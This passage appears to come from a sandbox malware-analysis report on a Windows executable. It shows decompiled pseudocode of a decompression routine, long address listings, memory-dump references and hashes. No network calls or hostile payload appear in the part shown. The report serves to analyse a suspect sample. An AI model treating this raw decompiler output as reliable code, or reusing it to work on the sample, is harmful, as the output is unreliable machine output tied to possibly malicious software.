                                      						case 0x1c:
                                      							while(1) {
                                      								L123:
                                      								__eflags =  *(__ebp - 0x64);
                                      								if( *(__ebp - 0x64) == 0) {
                                      									break;
                                      								}
                                      								__eax =  *(__ebp - 0x14);
                                      								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      								__eflags = __eax -  *(__ebp - 0x74);
                                      								if(__eax >=  *(__ebp - 0x74)) {
                                      									__eax = __eax +  *(__ebp - 0x74);
                                      									__eflags = __eax;
                                      								}
                                      								__edx =  *(__ebp - 8);
                                      								__cl =  *(__eax + __edx);
                                      								__eax =  *(__ebp - 0x14);
                                      								 *(__ebp - 0x5c) = __cl;
                                      								 *(__eax + __edx) = __cl;
                                      								__eax = __eax + 1;
                                      								__edx = 0;
                                      								_t414 = __eax %  *(__ebp - 0x74);
                                      								__eax = __eax /  *(__ebp - 0x74);
                                      								__edx = _t414;
                                      								__eax =  *(__ebp - 0x68);
                                      								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                      								__eflags =  *(__ebp - 0x30);
                                      								 *( *(__ebp - 0x68)) = __cl;
                                      								 *(__ebp - 0x14) = _t414;
                                      								if( *(__ebp - 0x30) > 0) {
                                      									continue;
                                      								} else {
                                      									goto L80;
                                      								}
                                      							}
                                      							 *(__ebp - 0x88) = 0x1c;
                                      							goto L170;
                                      					}
                                      				}
                                      			}













                                      0x00000000
                                      0x00406ca2
                                      0x00406ca2
                                      0x00406ca6
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d6c
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00407038
                                      0x00407038
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00407013
                                      0x00407013
                                      0x00407017
                                      0x004071c6
                                      0x00000000
                                      0x004071c6
                                      0x00407023
                                      0x0040702a
                                      0x00407032
                                      0x00407035
                                      0x00000000
                                      0x00407035
                                      0x00406cac
                                      0x00406cb0
                                      0x004071f1
                                      0x004071f1
                                      0x004071f4
                                      0x004071f8
                                      0x004071f8
                                      0x00406cb6
                                      0x00406cbc
                                      0x00406cbf
                                      0x00406cc3
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x004071dc
                                      0x004071e4
                                      0x004071eb
                                      0x004071ed
                                      0x00000000
                                      0x004071ed
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00406d04
                                      0x00406d04
                                      0x00406d04
                                      0x004067da
                                      0x004067da
                                      0x004067e3
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x00000000
                                      0x004067f4
                                      0x00000000
                                      0x00000000
                                      0x004067fd
                                      0x00406800
                                      0x00406803
                                      0x00406807
                                      0x00000000
                                      0x00000000
                                      0x0040680d
                                      0x00406810
                                      0x00406812
                                      0x00406813
                                      0x00406816
                                      0x00406818
                                      0x00406819
                                      0x0040681b
                                      0x0040681e
                                      0x00406823
                                      0x00406828
                                      0x00406831
                                      0x00406844
                                      0x00406847
                                      0x00406853
                                      0x0040687b
                                      0x0040687d
                                      0x0040688b
                                      0x0040688b
                                      0x0040688f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040687f
                                      0x0040687f
                                      0x00406882
                                      0x00406883
                                      0x00406883
                                      0x00000000
                                      0x0040687f
                                      0x00406859
                                      0x0040685e
                                      0x0040685e
                                      0x00406867
                                      0x0040686f
                                      0x00406872
                                      0x00000000
                                      0x00406878
                                      0x00406878
                                      0x00000000
                                      0x00406878
                                      0x00000000
                                      0x00406895
                                      0x00406895
                                      0x00406899
                                      0x00407145
                                      0x00000000
                                      0x00407145
                                      0x004068a2
                                      0x004068b2
                                      0x004068b5
                                      0x004068b8
                                      0x004068b8
                                      0x004068b8
                                      0x004068bb
                                      0x004068bf
                                      0x00000000
                                      0x00000000
                                      0x004068c1
                                      0x004068c7
                                      0x004068f1
                                      0x004068f7
                                      0x004068fe
                                      0x00000000
                                      0x004068fe
                                      0x004068cd
                                      0x004068d0
                                      0x004068d5
                                      0x004068d5
                                      0x004068e0
                                      0x004068e8
                                      0x004068eb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406930
                                      0x00406936
                                      0x00406939
                                      0x00406946
                                      0x0040694e
                                      0x00000000
                                      0x00000000
                                      0x00406905
                                      0x00406905
                                      0x00406909
                                      0x00407154
                                      0x00000000
                                      0x00407154
                                      0x00406915
                                      0x00406920
                                      0x00406920
                                      0x00406920
                                      0x00406923
                                      0x00406926
                                      0x00406929
                                      0x0040692e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406956
                                      0x00406958
                                      0x0040695b
                                      0x004069cc
                                      0x004069cf
                                      0x004069d2
                                      0x004069d9
                                      0x004069e3
                                      0x00000000
                                      0x004069e3
                                      0x0040695d
                                      0x00406961
                                      0x00406964
                                      0x00406966
                                      0x00406969
                                      0x0040696c
                                      0x0040696e
                                      0x00406971
                                      0x00406973
                                      0x00406978
                                      0x0040697b
                                      0x0040697e
                                      0x00406982
                                      0x00406989
                                      0x0040698c
                                      0x00406993
                                      0x00406997
                                      0x0040699f
                                      0x0040699f
                                      0x0040699f
                                      0x00406999
                                      0x00406999
                                      0x00406999
                                      0x0040698e
                                      0x0040698e
                                      0x0040698e
                                      0x004069a3
                                      0x004069a6
                                      0x004069c4
                                      0x004069c6
                                      0x00000000
                                      0x004069a8
                                      0x004069a8
                                      0x004069ab
                                      0x004069ae
                                      0x004069b1
                                      0x004069b3
                                      0x004069b3
                                      0x004069b3
                                      0x004069b6
                                      0x004069b9
                                      0x004069bb
                                      0x004069bc
                                      0x004069bf
                                      0x00000000
                                      0x004069bf
                                      0x00000000
                                      0x00406bf5
                                      0x00406bf9
                                      0x00406c17
                                      0x00406c1a
                                      0x00406c21
                                      0x00406c24
                                      0x00406c27
                                      0x00406c2a
                                      0x00406c2d
                                      0x00406c30
                                      0x00406c32
                                      0x00406c39
                                      0x00406c3a
                                      0x00406c3c
                                      0x00406c3f
                                      0x00406c42
                                      0x00406c45
                                      0x00406c45
                                      0x00406c4a
                                      0x00000000
                                      0x00406c4a
                                      0x00406bfb
                                      0x00406bfe
                                      0x00406c01
                                      0x00406c0b
                                      0x00000000
                                      0x00000000
                                      0x00406c5f
                                      0x00406c63
                                      0x00406c86
                                      0x00406c89
                                      0x00406c8c
                                      0x00406c96
                                      0x00406c65
                                      0x00406c65
                                      0x00406c68
                                      0x00406c6b
                                      0x00406c6e
                                      0x00406c7b
                                      0x00406c7e
                                      0x00406c7e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406d13
                                      0x00406d17
                                      0x00406d1e
                                      0x00406d21
                                      0x00406d24
                                      0x00406d2e
                                      0x00000000
                                      0x00406d2e
                                      0x00406d19
                                      0x00000000
                                      0x00000000
                                      0x00406d3a
                                      0x00406d3e
                                      0x00406d45
                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00406d54
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x004069ef
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x00000000
                                      0x00407160
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00406a14
                                      0x00406a14
                                      0x00406a17
                                      0x00406a1a
                                      0x00000000
                                      0x00000000
                                      0x00406a20
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a57
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8a
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00000000
                                      0x00406fbf
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00000000
                                      0x00407080
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x00000000
                                      0x00407132
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e2
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x00407114
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00000000
                                      0x00406f87
                                      0x00406f85
                                      0x004071ba
                                      0x00000000
                                      0x00000000
                                      0x004067e9

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 938fb70cab063128a157af1098290c857e69407ac2924c0a6b94e5f41d13b3bc
                                      • Instruction ID: 030bbf204142f55243dad992a5db991e5d63a74ebaef12f83509f41b37c8d212
                                      • Opcode Fuzzy Hash: 938fb70cab063128a157af1098290c857e69407ac2924c0a6b94e5f41d13b3bc
                                      • Instruction Fuzzy Hash: BC813371E04228DFDF24CFA8C8447ADBBB1FB44305F25816AD856BB281C738A986DF55
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E004067A7(void* __ecx) {
                                      				void* _v8;
                                      				void* _v12;
                                      				signed int _v16;
                                      				unsigned int _v20;
                                      				signed int _v24;
                                      				signed int _v28;
                                      				signed int _v32;
                                      				signed int _v36;
                                      				signed int _v40;
                                      				signed int _v44;
                                      				signed int _v48;
                                      				signed int _v52;
                                      				signed int _v56;
                                      				signed int _v60;
                                      				signed int _v64;
                                      				signed int _v68;
                                      				signed int _v72;
                                      				signed int _v76;
                                      				signed int _v80;
                                      				signed int _v84;
                                      				signed int _v88;
                                      				signed int _v92;
                                      				signed int _v95;
                                      				signed int _v96;
                                      				signed int _v100;
                                      				signed int _v104;
                                      				signed int _v108;
                                      				signed int _v112;
                                      				signed int _v116;
                                      				signed int _v120;
                                      				intOrPtr _v124;
                                      				signed int _v128;
                                      				signed int _v132;
                                      				signed int _v136;
                                      				void _v140;
                                      				void* _v148;
                                      				signed int _t537;
                                      				signed int _t538;
                                      				signed int _t572;
                                      
                                      				_t572 = 0x22;
                                      				_v148 = __ecx;
                                      				memcpy( &_v140, __ecx, _t572 << 2);
                                      				if(_v52 == 0xffffffff) {
                                      					return 1;
                                      				}
                                      				while(1) {
                                      					L3:
                                      					_t537 = _v140;
                                      					if(_t537 > 0x1c) {
                                      						break;
                                      					}
                                      					switch( *((intOrPtr*)(_t537 * 4 +  &M004071F9))) {
                                      						case 0:
                                      							__eflags = _v112;
                                      							if(_v112 == 0) {
                                      								goto L173;
                                      							}
                                      							_v112 = _v112 - 1;
                                      							_v116 = _v116 + 1;
                                      							_t537 =  *_v116;
                                      							__eflags = _t537 - 0xe1;
                                      							if(_t537 > 0xe1) {
                                      								goto L174;
                                      							}
                                      							_t542 = _t537 & 0x000000ff;
                                      							_push(0x2d);
                                      							asm("cdq");
                                      							_pop(_t576);
                                      							_push(9);
                                      							_pop(_t577);
                                      							_t622 = _t542 / _t576;
                                      							_t544 = _t542 % _t576 & 0x000000ff;
                                      							asm("cdq");
                                      							_t617 = _t544 % _t577 & 0x000000ff;
                                      							_v64 = _t617;
                                      							_v32 = (1 << _t622) - 1;
                                      							_v28 = (1 << _t544 / _t577) - 1;
                                      							_t625 = (0x300 << _t617 + _t622) + 0x736;
                                      							__eflags = 0x600 - _v124;
                                      							if(0x600 == _v124) {
                                      								L12:
                                      								__eflags = _t625;
                                      								if(_t625 == 0) {
                                      									L14:
                                      									_v76 = _v76 & 0x00000000;
                                      									_v68 = _v68 & 0x00000000;
                                      									goto L17;
                                      								} else {
                                      									goto L13;
                                      								}
                                      								do {
                                      									L13:
                                      									_t625 = _t625 - 1;
                                      									__eflags = _t625;
                                      									 *((short*)(_v8 + _t625 * 2)) = 0x400;
                                      								} while (_t625 != 0);
                                      								goto L14;
                                      							}
                                      							__eflags = _v8;
                                      							if(_v8 != 0) {
                                      								GlobalFree(_v8); // executed
                                      							}
                                      							_t537 = GlobalAlloc(0x40, 0x600); // executed
                                      							__eflags = _t537;
                                      							_v8 = _t537;
                                      							if(_t537 == 0) {
                                      								goto L174;
                                      							} else {
                                      								_v124 = 0x600;
                                      								goto L12;
                                      							}
                                      						case 1:
                                      							L15:
                                      							__eflags = _v112;
                                      							if(_v112 == 0) {
                                      								_v140 = 1;
                                      								goto L173;
                                      							}
                                      							_v112 = _v112 - 1;
                                      							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
                                      							_v116 = _v116 + 1;
                                      							_t50 =  &_v76;
                                      							 *_t50 = _v76 + 1;
                                      							__eflags =  *_t50;
                                      							L17:
                                      							__eflags = _v76 - 4;
                                      							if(_v76 < 4) {
                                      								goto L15;
                                      							}
                                      							_t550 = _v68;
                                      							__eflags = _t550 - _v120;
                                      							if(_t550 == _v120) {
                                      								L22:
                                      								_v76 = 5;
                                      								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
                                      								goto L25;
                                      							}
                                      							__eflags = _v12;
                                      							_v120 = _t550;
                                      							if(_v12 != 0) {
                                      								GlobalFree(_v12); // executed
                                      							}
                                      							_t537 = GlobalAlloc(0x40, _v68); // executed
                                      							__eflags = _t537;
                                      							_v12 = _t537;
                                      							if(_t537 == 0) {
                                      								goto L174;
                                      							} else {
                                      								goto L22;
                                      							}
                                      						case 2:
                                      							L26:
                                      							_t557 = _v100 & _v32;
                                      							_v136 = 6;
                                      							_v80 = _t557;
                                      							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
                                      							goto L135;
                                      						case 3:
                                      							L23:
                                      							__eflags = _v112;
                                      							if(_v112 == 0) {
                                      								_v140 = 3;
                                      								goto L173;
                                      							}
                                      							_v112 = _v112 - 1;
                                      							_t72 =  &_v116;
                                      							 *_t72 = _v116 + 1;
                                      							__eflags =  *_t72;
                                      							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                      							L25:
                                      							_v76 = _v76 - 1;
                                      							__eflags = _v76;
                                      							if(_v76 != 0) {
                                      								goto L23;
                                      							}
                                      							goto L26;
                                      						case 4:
                                      							L136:
                                      							_t559 =  *_t626;
                                      							_t610 = _t559 & 0x0000ffff;
                                      							_t591 = (_v20 >> 0xb) * _t610;
                                      							__eflags = _v16 - _t591;
                                      							if(_v16 >= _t591) {
                                      								_v20 = _v20 - _t591;
                                      								_v16 = _v16 - _t591;
                                      								_v68 = 1;
                                      								_t560 = _t559 - (_t559 >> 5);
                                      								__eflags = _t560;
                                      								 *_t626 = _t560;
                                      							} else {
                                      								_v20 = _t591;
                                      								_v68 = _v68 & 0x00000000;
                                      								 *_t626 = (0x800 - _t610 >> 5) + _t559;
                                      							}
                                      							__eflags = _v20 - 0x1000000;
                                      							if(_v20 >= 0x1000000) {
                                      								goto L142;
                                      							} else {
                                      								goto L140;
                                      							}
                                      						case 5:
                                      							L140:
                                      							__eflags = _v112;
                                      							if(_v112 == 0) {
                                      								_v140 = 5;
                                      								goto L173;
                                      							}
                                      							_v20 = _v20 << 8;
                                      							_v112 = _v112 - 1;
                                      							_t464 =  &_v116;
                                      							 *_t464 = _v116 + 1;
                                      							__eflags =  *_t464;
                                      							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                      							L142:
                                      							_t561 = _v136;
                                      							goto L143;
                                      						case 6:
                                      							__edx = 0;
                                      							__eflags = _v68;
                                      							if(_v68 != 0) {
                                      								__eax = _v8;
                                      								__ecx = _v60;
                                      								_v56 = 1;
                                      								_v136 = 7;
                                      								__esi = _v8 + 0x180 + _v60 * 2;
                                      								goto L135;
                                      							}
                                      							__eax = _v96 & 0x000000ff;
                                      							__esi = _v100;
                                      							__cl = 8;
                                      							__cl = 8 - _v64;
                                      							__esi = _v100 & _v28;
                                      							__eax = (_v96 & 0x000000ff) >> 8;
                                      							__ecx = _v64;
                                      							__esi = (_v100 & _v28) << 8;
                                      							__ecx = _v8;
                                      							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
                                      							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
                                      							__eflags = _v60 - 4;
                                      							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                      							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                      							if(_v60 >= 4) {
                                      								__eflags = _v60 - 0xa;
                                      								if(_v60 >= 0xa) {
                                      									_t103 =  &_v60;
                                      									 *_t103 = _v60 - 6;
                                      									__eflags =  *_t103;
                                      								} else {
                                      									_v60 = _v60 - 3;
                                      								}
                                      							} else {
